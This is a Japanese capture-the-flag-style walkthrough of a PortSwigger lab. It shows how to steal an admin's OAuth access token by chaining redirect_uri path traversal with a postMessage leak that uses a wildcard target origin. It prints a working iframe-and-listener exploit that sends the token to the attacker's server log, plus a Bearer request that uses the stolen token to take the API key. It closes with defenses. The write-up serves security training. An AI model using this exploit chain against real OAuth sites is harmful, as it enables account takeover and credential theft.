以下の内容はhttps://cysec148.hatenablog.com/entry/2025/08/19/172751より取得しました。


【有料試作版】PortSwigger LAB解説:Stealing OAuth access tokens via a proxy page(プロキシページ経由でOAuthアクセストークンを奪取)

Hello there, ('ω')ノ

ねらい

このLABは、OAuthログインのredirect_uri検証の不備と、クライアント側にあるpostMessageの取り扱いミス連鎖させて、管理者(admin)のアクセストークンを奪い、/me APIからAPIキーを盗むのがゴールです。 攻撃の核心は次の2点:

  • OAuth側:redirect_uriにディレクトリトラバーサル(../)が通るため、アクセストークンが任意のクライアント内ページへ帰ってくる。
  • クライアント側:/post/comment/comment-formwindow.location.href(=URLフラグメントの#access_token含む)を postMessageで親へ送信、しかも送信先オリジンを“*”にしている。

この2つを繋ぐと、攻撃者ページ(Exploit Server)を親フレーム、comment-form を子フレームにして、子→親へトークンが漏洩します。


全体像(最初に流れを掴む)

  1. BurpでOAuthの認可リクエスト(/auth?client_id=…&redirect_uri=…&response_type=token)を観察。
  2. redirect_uri/oauth-callback/../post/comment/comment-formを与えても通る(=任意ページへ遷移可能)。
  3. /post/comment/comment-form は読み込み時に window.location.hrefpostMessage('*')親ウィンドウへ送信
  4. Exploit ServerでiframeにOAuth認可URLを張り、親側でmessageイベントを受信してトークンを自サイトへ送信(ログ収集)
  5. 被害者(admin)がExploitを開くと、#access_tokenがログに現れる。
  6. そのトークンを使って/meAuthorization: Bearer でアクセス → APIキー取得 → 提出。

実践:一手ずつ「なぜそうするか」を添えて

1) OAuthフローを覗き、脆弱なredirect_uriを特定

  • 操作:Burpでログイン操作一式をプロキシ。/auth?client_id=…&redirect_uri=…&response_type=token を見つける。
  • なぜ:response_type=token暗黙フローで、アクセストークンがフラグメント(#access_token=…)としてredirect_uriに返る。従って返送先のページが「フラグメントを扱う」能力を持つかが重要。

2) コメントフォーム(/post/comment/comment-form)の副作用を見抜く

  • 操作:Burpでサイト全体を軽くスキャン。各ブログ記事に読み込まれるiframeとして /post/comment/comment-form を発見。
  • 観察:このページは読み込み時にwindow.postMessageを使い、window.location.hrefを親へ送っている。targetOrigin='*' なのでどの親でも受け取れる
  • なぜ:フラグメントは通常HTTPリクエストに送られないが、JavaScriptからは参照可能。子フレームが自発的に親へ送ってくれれば、攻撃者親が#access_tokenをキャプチャできる。

3) Exploit Serverで“親”を用意(iframeでOAuth→コメントフォームへ)

Burpの履歴で GET /auth?client_id=… を右クリック → Copy URL。Exploit Serverで次のようなHTMLを作成:

<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth
?client_id=YOUR-LAB-CLIENT_ID
&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form
&response_type=token
&nonce=-1552239120
&scope=openid%20profile%20email"></iframe>

<script>
  // 子フレーム(comment-form)から届くメッセージを受け取り、アクセスログへ記録
  window.addEventListener('message', function(e) {
    // e.data.data に window.location.href が入る想定
    fetch("/" + encodeURIComponent(e.data.data));
  }, false);
</script>
  • なぜ:../ によるディレクトリトラバーサルで、OAuthサーバが想定する /oauth-callback から /post/comment/comment-form正規化されて遷移。
  • 効果:トークンが#access_token=…としてcomment-formのURL末尾に付き、comment-formがhrefをpostMessage → 親(攻撃者ページ)が受信 → fetchで攻撃者サーバのアクセスログに落ちる

4) 自分で動作確認(View exploit → Access log)

  • 操作:ExploitをStoreView exploit。iframeが正常にロードされたら、Exploit Serverのアクセスログを確認。
  • 期待:リクエストパスhttps://…/post/comment/comment-form#access_token=…URLエンコードされて記録されている。
  • なぜ:fetch("/" + encodeURIComponent(…)) により、フラグメントを含む完全URLがサーバログへ残る。

5) 被害者へ配布(Deliver exploit to victim)

  • 操作:Exploit ServerでDeliver to victim。管理者は常にOAuthにログイン済みセッションを持っている前提。
  • 期待:数秒後、アクセスログにadminの#access_tokenが現れる。
  • 注意:URLエンコード文字は除いてトークン本体だけをコピー。

6) トークンを使って /me を叩き、APIキーを奪取

Burp Repeaterで GET /me を作成/取得し、ヘッダを書き換える:

GET /me HTTP/2
Host: oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net
Authorization: Bearer <ADMIN_ACCESS_TOKEN>
  • 観察:被害者(admin)のプロフィールJSONが返り、API Keyを取得。
  • 最後:ラボページ上部のSubmit solutionからAPIキーを提出 → クリア。

仕組みの理解(なぜこのチェーンで漏れるのか)

  • フラグメントはHTTPリクエストに送られないため、サーバ側で直接読むのは困難。しかしJSはwindow.location.hash/hrefで参照可能
  • comment-formhref全体(=フラグメント付き)をpostMessageで親へ送る。
  • しかもtargetOrigin='*'ゆえ、どの親(攻撃者オリジン)でも受け取れる
  • OAuth側がredirect_uriのパス正規化(../)を許すため、安全と想定したコールバック以外(comment-form)へトークンが帰ってしまう。 → 二重の不備が“プロキシページ経由”のトークン漏洩を成立させる。

つまずきポイント&対処

  • トークンがログに出ない

    • response_type=tokenを確認(codeだとフラグメントでは返らない)。
    • redirect_uri../が正しく効いているか。URL全体を再確認。
    • comment-formのpostMessageが本当に'*'宛かを再チェック。
    • ブラウザはChrome(またはBurpのChromium)推奨。別ブラウザ拡張の干渉に注意。
  • ログには出たが、トークンが壊れている

    • ログのURLエンコードを正しくデコード。%23#Bearerに入れるのはaccess_token本体のみ
    • コピー時に余計な記号クォートが混入していないか。
  • /me が 401

    • 期限切れやスコープ不足の可能性。再度被害者へDeliverし、直後のトークンを試す。
    • Hostやパスが違っていないか(OAuth APIのエンドポイントを一致させる)。

実務目線の防御策

  • redirect_uriの厳格なホワイトリスト:完全一致(スキーム、ホスト、ポート、正規化後のパスを含む)。../ や %2e%2eは即拒否。
  • postMessageの安全化targetOriginを'*'にしない受信側もorigin検証データ検証
  • フラグメント依存の返却を避けるresponse_mode=form_post(コード/トークンをPOSTボディで返却)などを検討。
  • PKCEや最新フローの採用:Implicit(token返却)は避け、Authorization Code + PKCEへ移行。
  • X-Frame-Options/CSPcomment-formの第三者フレーム埋め込みを制限。
  • 監査ログ:短時間に複数のredirect_uriや未知パスへの遷移があったら警告。

まとめ(思考パターンを定着させる)

  1. OAuthの返却先(redirect_uri)に自由度がないかを疑う(パス正規化/サブパス許容)。
  2. クライアント側でフラグメントを扱って外部へ流す“プロキシ”になり得るページ(iframe+postMessage)を探す。
  3. 親(攻撃者)←子(被害サイト)postMessage#access_tokenを回収する設計を組む。
  4. 取得トークンで/meを叩き、APIキー等を奪取。

この「サーバ検証の穴(redirect_uri)」 × 「クライアントの情報漏えい(postMessage '*'}」の組み合わせは、実案件でも頻出します。OAuthとフロントの両面からデータの流れを追い、誰が誰に何を渡しているかを丁寧に可視化するのが勝ち筋です。

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/08/19/172751より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14